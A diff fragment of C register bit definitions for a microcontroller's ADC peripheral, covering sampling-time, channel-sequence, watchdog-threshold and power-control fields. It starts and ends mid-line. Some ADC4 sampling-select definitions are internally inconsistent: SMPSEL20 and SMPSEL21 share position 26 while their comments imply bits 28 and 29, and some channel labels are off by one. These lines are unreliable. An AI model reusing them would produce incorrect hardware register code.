ADC4_SMPR_SMPSEL19_Pos (27UL) +#define ADC4_SMPR_SMPSEL19_Msk (0x1UL << ADC4_SMPR_SMPSEL19_Pos) /*!< 0x08000000 */ +#define ADC4_SMPR_SMPSEL19 ADC4_SMPR_SMPSEL19_Msk /*!< ADC4 channel 19 sampling time selection */ +#define ADC4_SMPR_SMPSEL20_Pos (26UL) +#define ADC4_SMPR_SMPSEL20_Msk (0x1UL << ADC4_SMPR_SMPSEL20_Pos) /*!< 0x10000000 */ +#define ADC4_SMPR_SMPSEL20 ADC4_SMPR_SMPSEL20_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL21_Pos (26UL) +#define ADC4_SMPR_SMPSEL21_Msk (0x1UL << ADC4_SMPR_SMPSEL21_Pos) /*!< 0x20000000 */ +#define ADC4_SMPR_SMPSEL21 ADC4_SMPR_SMPSEL21_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL22_Pos (30UL) +#define ADC4_SMPR_SMPSEL22_Msk (0x1UL << ADC4_SMPR_SMPSEL22_Pos) /*!< 0x40000000 */ +#define ADC4_SMPR_SMPSEL22 ADC4_SMPR_SMPSEL22_Msk /*!< ADC4 channel 21 sampling time selection */ +#define ADC4_SMPR_SMPSEL23_Pos (31UL) +#define ADC4_SMPR_SMPSEL23_Msk (0x1UL << ADC4_SMPR_SMPSEL23_Pos) /*!< 0x80000000 */ +#define ADC4_SMPR_SMPSEL23 ADC4_SMPR_SMPSEL23_Msk /*!< ADC4 channel 23 sampling time selection */ + +/******************** Bit definition for ADC_SMPR2 register ********************/ +#define ADC_SMPR2_SMP10_Pos (0UL) +#define ADC_SMPR2_SMP10_Msk (0x7UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000007 */ +#define ADC_SMPR2_SMP10 ADC_SMPR2_SMP10_Msk /*!< ADC Channel 10 Sampling time selection */ +#define ADC_SMPR2_SMP10_0 (0x1UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000001 */ +#define ADC_SMPR2_SMP10_1 (0x2UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000002 */ +#define ADC_SMPR2_SMP10_2 (0x4UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR2_SMP11_Pos (3UL) +#define ADC_SMPR2_SMP11_Msk (0x7UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000038 */ +#define ADC_SMPR2_SMP11 ADC_SMPR2_SMP11_Msk /*!< ADC Channel 11 Sampling time selection */ +#define ADC_SMPR2_SMP11_0 (0x1UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000008 */ +#define ADC_SMPR2_SMP11_1 (0x2UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000010 */ +#define ADC_SMPR2_SMP11_2 (0x4UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR2_SMP12_Pos (6UL) +#define ADC_SMPR2_SMP12_Msk (0x7UL << ADC_SMPR2_SMP12_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR2_SMP12 ADC_SMPR2_SMP12_Msk /*!< ADC Channel 12 Sampling time selection */ +#define ADC_SMPR2_SMP12_0 (0x1UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000040 */ +#define ADC_SMPR2_SMP12_1 (0x2UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000080 */ +#define ADC_SMPR2_SMP12_2 (0x4UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR2_SMP13_Pos (9UL) +#define ADC_SMPR2_SMP13_Msk (0x7UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR2_SMP13 ADC_SMPR2_SMP13_Msk /*!< ADC Channel 13 Sampling time selection */ +#define ADC_SMPR2_SMP13_0 (0x1UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000200 */ +#define ADC_SMPR2_SMP13_1 (0x2UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000400 */ +#define ADC_SMPR2_SMP13_2 (0x4UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR2_SMP14_Pos (12UL) +#define ADC_SMPR2_SMP14_Msk (0x7UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00007000 */ +#define ADC_SMPR2_SMP14 ADC_SMPR2_SMP14_Msk /*!< ADC Channel 14 Sampling time selection */ +#define ADC_SMPR2_SMP14_0 (0x1UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00001000 */ +#define ADC_SMPR2_SMP14_1 (0x2UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00002000 */ +#define ADC_SMPR2_SMP14_2 (0x4UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR2_SMP15_Pos (15UL) +#define ADC_SMPR2_SMP15_Msk (0x7UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00038000 */ +#define ADC_SMPR2_SMP15 ADC_SMPR2_SMP15_Msk /*!< ADC Channel 15 Sampling time selection */ +#define ADC_SMPR2_SMP15_0 (0x1UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00008000 */ +#define ADC_SMPR2_SMP15_1 (0x2UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00010000 */ +#define ADC_SMPR2_SMP15_2 (0x4UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR2_SMP16_Pos (18UL) +#define ADC_SMPR2_SMP16_Msk (0x7UL << ADC_SMPR2_SMP16_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR2_SMP16 ADC_SMPR2_SMP16_Msk /*!< ADC Channel 16 Sampling time selection */ +#define ADC_SMPR2_SMP16_0 (0x1UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00040000 */ +#define ADC_SMPR2_SMP16_1 (0x2UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00080000 */ +#define ADC_SMPR2_SMP16_2 (0x4UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR2_SMP17_Pos (21UL) +#define ADC_SMPR2_SMP17_Msk (0x7UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR2_SMP17 ADC_SMPR2_SMP17_Msk /*!< ADC Channel 17 Sampling time selection */ +#define ADC_SMPR2_SMP17_0 (0x1UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00200000 */ +#define ADC_SMPR2_SMP17_1 (0x2UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00400000 */ +#define ADC_SMPR2_SMP17_2 (0x4UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR2_SMP18_Pos (24UL) +#define ADC_SMPR2_SMP18_Msk (0x7UL << ADC_SMPR2_SMP18_Pos) /*!< 0x07000000 */ +#define ADC_SMPR2_SMP18 ADC_SMPR2_SMP18_Msk /*!< ADC Channel 18 Sampling time selection */ +#define ADC_SMPR2_SMP18_0 (0x1UL << ADC_SMPR2_SMP18_Pos) /*!< 0x01000000 */ +#define ADC_SMPR2_SMP18_1 (0x2UL << ADC_SMPR2_SMP18_Pos) /*!< 0x02000000 */ +#define ADC_SMPR2_SMP18_2 (0x4UL << ADC_SMPR2_SMP18_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR2_SMP19_Pos (27UL) +#define ADC_SMPR2_SMP19_Msk (0x7UL << ADC_SMPR2_SMP19_Pos) /*!< 0x38000000 */ +#define ADC_SMPR2_SMP19 ADC_SMPR2_SMP19_Msk /*!< ADC Channel 19 Sampling time selection */ +#define ADC_SMPR2_SMP19_0 (0x1UL << ADC_SMPR2_SMP19_Pos) /*!< 0x08000000 */ +#define ADC_SMPR2_SMP19_1 (0x2UL << ADC_SMPR2_SMP19_Pos) /*!< 0x10000000 */ +#define ADC_SMPR2_SMP19_2 (0x4UL << ADC_SMPR2_SMP19_Pos) /*!< 0x20000000 */ + +/******************** Bit definition for ADC_PCSEL register ********************/ +#define ADC_PCSEL_PCSEL_Pos (0UL) +#define ADC_PCSEL_PCSEL_Msk (0xFFFFFUL << ADC_PCSEL_PCSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_PCSEL_PCSEL ADC_PCSEL_PCSEL_Msk /*!< ADC pre channel selection */ +#define ADC_PCSEL_PCSEL_0 (0x00001UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000001 */ +#define ADC_PCSEL_PCSEL_1 (0x00002UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000002 */ +#define ADC_PCSEL_PCSEL_2 (0x00004UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000004 */ +#define ADC_PCSEL_PCSEL_3 (0x00008UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000008 */ +#define ADC_PCSEL_PCSEL_4 (0x00010UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000010 */ +#define ADC_PCSEL_PCSEL_5 (0x00020UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000020 */ +#define ADC_PCSEL_PCSEL_6 (0x00040UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000040 */ +#define ADC_PCSEL_PCSEL_7 (0x00080UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000080 */ +#define ADC_PCSEL_PCSEL_8 (0x00100UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000100 */ +#define ADC_PCSEL_PCSEL_9 (0x00200UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000200 */ +#define ADC_PCSEL_PCSEL_10 (0x00400UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000400 */ +#define ADC_PCSEL_PCSEL_11 (0x00800UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000800 */ +#define ADC_PCSEL_PCSEL_12 (0x01000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00001000 */ +#define ADC_PCSEL_PCSEL_13 (0x02000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00002000 */ +#define ADC_PCSEL_PCSEL_14 (0x04000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00004000 */ +#define ADC_PCSEL_PCSEL_15 (0x08000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00008000 */ +#define ADC_PCSEL_PCSEL_16 (0x10000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00010000 */ +#define ADC_PCSEL_PCSEL_17 (0x20000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00020000 */ +#define ADC_PCSEL_PCSEL_18 (0x40000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00040000 */ +#define ADC_PCSEL_PCSEL_19 (0x80000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00080000 */ + +/***************** Bit definition for ADC_LTR1, 2, 3 registers *****************/ +#define ADC_LTR_LT_Pos (0UL) +#define ADC_LTR_LT_Msk (0x01FFFFFFUL << ADC_LTR_LT_Pos) /*!< 0x01FFFFFF */ +#define ADC_LTR_LT ADC_LTR_LT_Msk /*!< ADC Analog watchdog 1, 2 and 3 lower threshold */ + +/***************** Bit definition for ADC_HTR1, 2, 3 registers ****************/ +#define ADC_HTR_HT_Pos (0UL) +#define ADC_HTR_HT_Msk (0x01FFFFFFUL << ADC_HTR_HT_Pos) /*!< 0x01FFFFFF */ +#define ADC_HTR_HT ADC_HTR_HT_Msk /*!< ADC Analog watchdog 1,2 and 3 higher threshold */ + +#define ADC_HTR_AWDFILT_Pos (29UL) +#define ADC_HTR_AWDFILT_Msk (0x7UL << ADC_HTR_AWDFILT_Pos) /*!< 0xE0000000 */ +#define ADC_HTR_AWDFILT ADC_HTR_AWDFILT_Msk /*!< Analog watchdog filtering parameter, HTR1 only */ +#define ADC_HTR_AWDFILT_0 (0x1UL << ADC_HTR_AWDFILT_Pos) /*!< 0x20000000 */ +#define ADC_HTR_AWDFILT_1 (0x2UL << ADC_HTR_AWDFILT_Pos) /*!< 0x40000000 */ +#define ADC_HTR_AWDFILT_2 (0x4UL << ADC_HTR_AWDFILT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_SQR1 register ********************/ +#define ADC_SQR1_L_Pos (0UL) +#define ADC_SQR1_L_Msk (0xFUL << ADC_SQR1_L_Pos) /*!< 0x0000000F */ +#define ADC_SQR1_L ADC_SQR1_L_Msk /*!< ADC regular channel sequence length */ +#define ADC_SQR1_L_0 (0x1UL << ADC_SQR1_L_Pos) /*!< 0x00000001 */ +#define ADC_SQR1_L_1 (0x2UL << ADC_SQR1_L_Pos) /*!< 0x00000002 */ +#define ADC_SQR1_L_2 (0x4UL << ADC_SQR1_L_Pos) /*!< 0x00000004 */ +#define ADC_SQR1_L_3 (0x8UL << ADC_SQR1_L_Pos) /*!< 0x00000008 */ + +#define ADC_SQR1_SQ1_Pos (6UL) +#define ADC_SQR1_SQ1_Msk (0x1FUL << ADC_SQR1_SQ1_Pos) /*!< 0x000007C0 */ +#define ADC_SQR1_SQ1 ADC_SQR1_SQ1_Msk /*!< ADC 1st conversion in regular sequence */ +#define ADC_SQR1_SQ1_0 (0x01UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000040 */ +#define ADC_SQR1_SQ1_1 (0x02UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000080 */ +#define ADC_SQR1_SQ1_2 (0x04UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000100 */ +#define ADC_SQR1_SQ1_3 (0x08UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000200 */ +#define ADC_SQR1_SQ1_4 (0x10UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000400 */ + +#define ADC_SQR1_SQ2_Pos (12UL) +#define ADC_SQR1_SQ2_Msk (0x1FUL << ADC_SQR1_SQ2_Pos) /*!< 0x0001F000 */ +#define ADC_SQR1_SQ2 ADC_SQR1_SQ2_Msk /*!< ADC 2nd conversion in regular sequence */ +#define ADC_SQR1_SQ2_0 (0x01UL << ADC_SQR1_SQ2_Pos) /*!< 0x00001000 */ +#define ADC_SQR1_SQ2_1 (0x02UL << ADC_SQR1_SQ2_Pos) /*!< 0x00002000 */ +#define ADC_SQR1_SQ2_2 (0x04UL << ADC_SQR1_SQ2_Pos) /*!< 0x00004000 */ +#define ADC_SQR1_SQ2_3 (0x08UL << ADC_SQR1_SQ2_Pos) /*!< 0x00008000 */ +#define ADC_SQR1_SQ2_4 (0x10UL << ADC_SQR1_SQ2_Pos) /*!< 0x00010000 */ + +#define ADC_SQR1_SQ3_Pos (18UL) +#define ADC_SQR1_SQ3_Msk (0x1FUL << ADC_SQR1_SQ3_Pos) /*!< 0x007C0000 */ +#define ADC_SQR1_SQ3 ADC_SQR1_SQ3_Msk /*!< ADC 3rd conversion in regular sequence */ +#define ADC_SQR1_SQ3_0 (0x01UL << ADC_SQR1_SQ3_Pos) /*!< 0x00040000 */ +#define ADC_SQR1_SQ3_1 (0x02UL << ADC_SQR1_SQ3_Pos) /*!< 0x00080000 */ +#define ADC_SQR1_SQ3_2 (0x04UL << ADC_SQR1_SQ3_Pos) /*!< 0x00100000 */ +#define ADC_SQR1_SQ3_3 (0x08UL << ADC_SQR1_SQ3_Pos) /*!< 0x00200000 */ +#define ADC_SQR1_SQ3_4 (0x10UL << ADC_SQR1_SQ3_Pos) /*!< 0x00400000 */ + +#define ADC_SQR1_SQ4_Pos (24UL) +#define ADC_SQR1_SQ4_Msk (0x1FUL << ADC_SQR1_SQ4_Pos) /*!< 0x1F000000 */ +#define ADC_SQR1_SQ4 ADC_SQR1_SQ4_Msk /*!< ADC 4th conversion in regular sequence */ +#define ADC_SQR1_SQ4_0 (0x01UL << ADC_SQR1_SQ4_Pos) /*!< 0x01000000 */ +#define ADC_SQR1_SQ4_1 (0x02UL << ADC_SQR1_SQ4_Pos) /*!< 0x02000000 */ +#define ADC_SQR1_SQ4_2 (0x04UL << ADC_SQR1_SQ4_Pos) /*!< 0x04000000 */ +#define ADC_SQR1_SQ4_3 (0x08UL << ADC_SQR1_SQ4_Pos) /*!< 0x08000000 */ +#define ADC_SQR1_SQ4_4 (0x10UL << ADC_SQR1_SQ4_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR2 register ********************/ +#define ADC_SQR2_SQ5_Pos (0UL) +#define ADC_SQR2_SQ5_Msk (0x1FUL << ADC_SQR2_SQ5_Pos) /*!< 0x0000001F */ +#define ADC_SQR2_SQ5 ADC_SQR2_SQ5_Msk /*!< ADC 5th conversion in regular sequence */ +#define ADC_SQR2_SQ5_0 (0x01UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000001 */ +#define ADC_SQR2_SQ5_1 (0x02UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000002 */ +#define ADC_SQR2_SQ5_2 (0x04UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000004 */ +#define ADC_SQR2_SQ5_3 (0x08UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000008 */ +#define ADC_SQR2_SQ5_4 (0x10UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000010 */ + +#define ADC_SQR2_SQ6_Pos (6UL) +#define ADC_SQR2_SQ6_Msk (0x1FUL << ADC_SQR2_SQ6_Pos) /*!< 0x000007C0 */ +#define ADC_SQR2_SQ6 ADC_SQR2_SQ6_Msk /*!< ADC 6th conversion in regular sequence */ +#define ADC_SQR2_SQ6_0 (0x01UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000040 */ +#define ADC_SQR2_SQ6_1 (0x02UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000080 */ +#define ADC_SQR2_SQ6_2 (0x04UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000100 */ +#define ADC_SQR2_SQ6_3 (0x08UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000200 */ +#define ADC_SQR2_SQ6_4 (0x10UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000400 */ + +#define ADC_SQR2_SQ7_Pos (12UL) +#define ADC_SQR2_SQ7_Msk (0x1FUL << ADC_SQR2_SQ7_Pos) /*!< 0x0001F000 */ +#define ADC_SQR2_SQ7 ADC_SQR2_SQ7_Msk /*!< ADC 7th conversion in regular sequence */ +#define ADC_SQR2_SQ7_0 (0x01UL << ADC_SQR2_SQ7_Pos) /*!< 0x00001000 */ +#define ADC_SQR2_SQ7_1 (0x02UL << ADC_SQR2_SQ7_Pos) /*!< 0x00002000 */ +#define ADC_SQR2_SQ7_2 (0x04UL << ADC_SQR2_SQ7_Pos) /*!< 0x00004000 */ +#define ADC_SQR2_SQ7_3 (0x08UL << ADC_SQR2_SQ7_Pos) /*!< 0x00008000 */ +#define ADC_SQR2_SQ7_4 (0x10UL << ADC_SQR2_SQ7_Pos) /*!< 0x00010000 */ + +#define ADC_SQR2_SQ8_Pos (18UL) +#define ADC_SQR2_SQ8_Msk (0x1FUL << ADC_SQR2_SQ8_Pos) /*!< 0x007C0000 */ +#define ADC_SQR2_SQ8 ADC_SQR2_SQ8_Msk /*!< ADC 8th conversion in regular sequence */ +#define ADC_SQR2_SQ8_0 (0x01UL << ADC_SQR2_SQ8_Pos) /*!< 0x00040000 */ +#define ADC_SQR2_SQ8_1 (0x02UL << ADC_SQR2_SQ8_Pos) /*!< 0x00080000 */ +#define ADC_SQR2_SQ8_2 (0x04UL << ADC_SQR2_SQ8_Pos) /*!< 0x00100000 */ +#define ADC_SQR2_SQ8_3 (0x08UL << ADC_SQR2_SQ8_Pos) /*!< 0x00200000 */ +#define ADC_SQR2_SQ8_4 (0x10UL << ADC_SQR2_SQ8_Pos) /*!< 0x00400000 */ + +#define ADC_SQR2_SQ9_Pos (24UL) +#define ADC_SQR2_SQ9_Msk (0x1FUL << ADC_SQR2_SQ9_Pos) /*!< 0x1F000000 */ +#define ADC_SQR2_SQ9 ADC_SQR2_SQ9_Msk /*!< ADC 9th conversion in regular sequence */ +#define ADC_SQR2_SQ9_0 (0x01UL << ADC_SQR2_SQ9_Pos) /*!< 0x01000000 */ +#define ADC_SQR2_SQ9_1 (0x02UL << ADC_SQR2_SQ9_Pos) /*!< 0x02000000 */ +#define ADC_SQR2_SQ9_2 (0x04UL << ADC_SQR2_SQ9_Pos) /*!< 0x04000000 */ +#define ADC_SQR2_SQ9_3 (0x08UL << ADC_SQR2_SQ9_Pos) /*!< 0x08000000 */ +#define ADC_SQR2_SQ9_4 (0x10UL << ADC_SQR2_SQ9_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR3 register ********************/ +#define ADC_SQR3_SQ10_Pos (0UL) +#define ADC_SQR3_SQ10_Msk (0x1FUL << ADC_SQR3_SQ10_Pos) /*!< 0x0000001F */ +#define ADC_SQR3_SQ10 ADC_SQR3_SQ10_Msk /*!< ADC 10th conversion in regular sequence */ +#define ADC_SQR3_SQ10_0 (0x01UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000001 */ +#define ADC_SQR3_SQ10_1 (0x02UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000002 */ +#define ADC_SQR3_SQ10_2 (0x04UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000004 */ +#define ADC_SQR3_SQ10_3 (0x08UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000008 */ +#define ADC_SQR3_SQ10_4 (0x10UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000010 */ + +#define ADC_SQR3_SQ11_Pos (6UL) +#define ADC_SQR3_SQ11_Msk (0x1FUL << ADC_SQR3_SQ11_Pos) /*!< 0x000007C0 */ +#define ADC_SQR3_SQ11 ADC_SQR3_SQ11_Msk /*!< ADC 11th conversion in regular sequence */ +#define ADC_SQR3_SQ11_0 (0x01UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000040 */ +#define ADC_SQR3_SQ11_1 (0x02UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000080 */ +#define ADC_SQR3_SQ11_2 (0x04UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000100 */ +#define ADC_SQR3_SQ11_3 (0x08UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000200 */ +#define ADC_SQR3_SQ11_4 (0x10UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000400 */ + +#define ADC_SQR3_SQ12_Pos (12UL) +#define ADC_SQR3_SQ12_Msk (0x1FUL << ADC_SQR3_SQ12_Pos) /*!< 0x0001F000 */ +#define ADC_SQR3_SQ12 ADC_SQR3_SQ12_Msk /*!< ADC 12th conversion in regular sequence */ +#define ADC_SQR3_SQ12_0 (0x01UL << ADC_SQR3_SQ12_Pos) /*!< 0x00001000 */ +#define ADC_SQR3_SQ12_1 (0x02UL << ADC_SQR3_SQ12_Pos) /*!< 0x00002000 */ +#define ADC_SQR3_SQ12_2 (0x04UL << ADC_SQR3_SQ12_Pos) /*!< 0x00004000 */ +#define ADC_SQR3_SQ12_3 (0x08UL << ADC_SQR3_SQ12_Pos) /*!< 0x00008000 */ +#define ADC_SQR3_SQ12_4 (0x10UL << ADC_SQR3_SQ12_Pos) /*!< 0x00010000 */ + +#define ADC_SQR3_SQ13_Pos (18UL) +#define ADC_SQR3_SQ13_Msk (0x1FUL << ADC_SQR3_SQ13_Pos) /*!< 0x007C0000 */ +#define ADC_SQR3_SQ13 ADC_SQR3_SQ13_Msk /*!< ADC 13th conversion in regular sequence */ +#define ADC_SQR3_SQ13_0 (0x01UL << ADC_SQR3_SQ13_Pos) /*!< 0x00040000 */ +#define ADC_SQR3_SQ13_1 (0x02UL << ADC_SQR3_SQ13_Pos) /*!< 0x00080000 */ +#define ADC_SQR3_SQ13_2 (0x04UL << ADC_SQR3_SQ13_Pos) /*!< 0x00100000 */ +#define ADC_SQR3_SQ13_3 (0x08UL << ADC_SQR3_SQ13_Pos) /*!< 0x00200000 */ +#define ADC_SQR3_SQ13_4 (0x10UL << ADC_SQR3_SQ13_Pos) /*!< 0x00400000 */ + +#define ADC_SQR3_SQ14_Pos (24UL) +#define ADC_SQR3_SQ14_Msk (0x1FUL << ADC_SQR3_SQ14_Pos) /*!< 0x1F000000 */ +#define ADC_SQR3_SQ14 ADC_SQR3_SQ14_Msk /*!< ADC 14th conversion in regular sequence */ +#define ADC_SQR3_SQ14_0 (0x01UL << ADC_SQR3_SQ14_Pos) /*!< 0x01000000 */ +#define ADC_SQR3_SQ14_1 (0x02UL << ADC_SQR3_SQ14_Pos) /*!< 0x02000000 */ +#define ADC_SQR3_SQ14_2 (0x04UL << ADC_SQR3_SQ14_Pos) /*!< 0x04000000 */ +#define ADC_SQR3_SQ14_3 (0x08UL << ADC_SQR3_SQ14_Pos) /*!< 0x08000000 */ +#define ADC_SQR3_SQ14_4 (0x10UL << ADC_SQR3_SQ14_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR4 register ********************/ +#define ADC_SQR4_SQ15_Pos (0UL) +#define ADC_SQR4_SQ15_Msk (0x1FUL << ADC_SQR4_SQ15_Pos) /*!< 0x0000001F */ +#define ADC_SQR4_SQ15 ADC_SQR4_SQ15_Msk /*!< ADC 15th conversion in regular sequence */ +#define ADC_SQR4_SQ15_0 (0x01UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000001 */ +#define ADC_SQR4_SQ15_1 (0x02UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000002 */ +#define ADC_SQR4_SQ15_2 (0x04UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000004 */ +#define ADC_SQR4_SQ15_3 (0x08UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000008 */ +#define ADC_SQR4_SQ15_4 (0x10UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000010 */ + +#define ADC_SQR4_SQ16_Pos (6UL) +#define ADC_SQR4_SQ16_Msk (0x1FUL << ADC_SQR4_SQ16_Pos) /*!< 0x000007C0 */ +#define ADC_SQR4_SQ16 ADC_SQR4_SQ16_Msk /*!< ADC 16th conversion in regular sequence */ +#define ADC_SQR4_SQ16_0 (0x01UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000040 */ +#define ADC_SQR4_SQ16_1 (0x02UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000080 */ +#define ADC_SQR4_SQ16_2 (0x04UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000100 */ +#define ADC_SQR4_SQ16_3 (0x08UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000200 */ +#define ADC_SQR4_SQ16_4 (0x10UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000400 */ +/******************** Bit definition for ADC_DR register ********************/ +#define ADC_DR_RDATA_Pos (0UL) +#define ADC_DR_RDATA_Msk (0xFFFFFFFFUL << ADC_DR_RDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_DR_RDATA ADC_DR_RDATA_Msk /*!< ADC regular Data converted */ + +/******************** Bit definition for ADC_PW register ********************/ +#define ADC4_PWRR_AUTOFF_Pos (0UL) +#define ADC4_PWRR_AUTOFF_Msk (0x1UL << ADC4_PWRR_AUTOFF_Pos) /*!< 0x00000001 */ +#define ADC4_PWRR_AUTOFF ADC4_PWRR_AUTOFF_Msk /*!< ADC Auto-Off mode */ +#define ADC4_PWRR_DPD_Pos (1UL) +#define ADC4_PWRR_DPD_Msk (0x1UL << ADC4_PWRR_DPD_Pos) /*!< 0x00000002 */ +#define ADC4_PWRR_DPD ADC4_PWRR_DPD_Msk /*!< ADC Deep Power mode */ +#define ADC4_PWRR_VREFPROT_Pos (2UL) +#define ADC4_PWRR_VREFPROT_Msk (0x1UL << ADC4_PWRR_VREFPROT_Pos) /*!< 0x00000004 */ +#define ADC4_PWRR_VREFPROT ADC4_PWRR_VREFPROT_Msk /*!< ADC Vref protection */ +#define ADC4_PWRR_VREFSECSMP_Pos (3UL) +#define ADC4_PWRR_VREFSECSMP_Msk (0x1UL << ADC4_PWRR_VREFSECSMP_Pos) /*!< 0x00000008 */ +#define ADC4_PWRR_VREFSECSMP ADC4_PWRR_VREFSECSMP_Msk /*!< ADC Vref Second Sample */ + +/* Legacy definitions */ +#define ADC4_PW_AUTOFF_Pos ADC4_PWRR_AUTOFF_Pos +#define ADC4_PW_AUTOFF_Msk ADC4_PWRR_AUTOFF_Msk +#define ADC4_PW_AUTOFF ADC4_PWRR_AUTOFF +#define ADC4_PW_DPD_Pos ADC4_PWRR_DPD_Pos +#define ADC4_PW_DPD_Msk ADC4_PWRR_DPD_Msk +#define ADC4_PW_DPD ADC4_PWRR_DPD +#define ADC4_PW_VREFPROT_Pos ADC4_PWRR_VREFPROT_Pos +#define ADC4_PW_VREFPROT_Msk ADC4_PWRR_VREFPROT_Msk +#define ADC4_PW_VREFPROT ADC4_PWRR_VREFPROT +#define ADC4_PW_VREFSECSMP_Pos ADC4_PWRR_VREFSECSMP_Pos +#define ADC4_PW_VREFSECSMP_Msk ADC4_PWRR_VREFSECSMP_Msk +#define ADC4_PW_VREFSECSMP ADC4_PWRR_VREFSECSMP + +/******************** Bit definition for ADC_JSQR register ********************/ +#define ADC_JSQR_JL_Pos (0UL) +#define ADC_JSQR_JL_Msk (0x3UL << ADC_JSQR_JL_Pos) /*!< 0x00000003 */ +#define ADC_JSQR_JL ADC_JSQR_JL_Msk /*!< ADC injected channel sequence length */ +#define ADC_JSQR_JL_0 (0x1UL << ADC_JSQR_JL_Pos) /*!< 0x00000001 */ +#define ADC_JSQR_JL_1 (0x2UL << ADC_JSQR_JL_Pos) /*!< 0x00000002 */ + +#define ADC_JSQR_JEXTSEL_Pos (2UL) +#define ADC_JSQR_JEXTSEL_Msk (0x1FUL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x0000007C */ +#define ADC_JSQR_JEXTSEL ADC_JSQR_JEXTSEL_Msk /*!< ADC 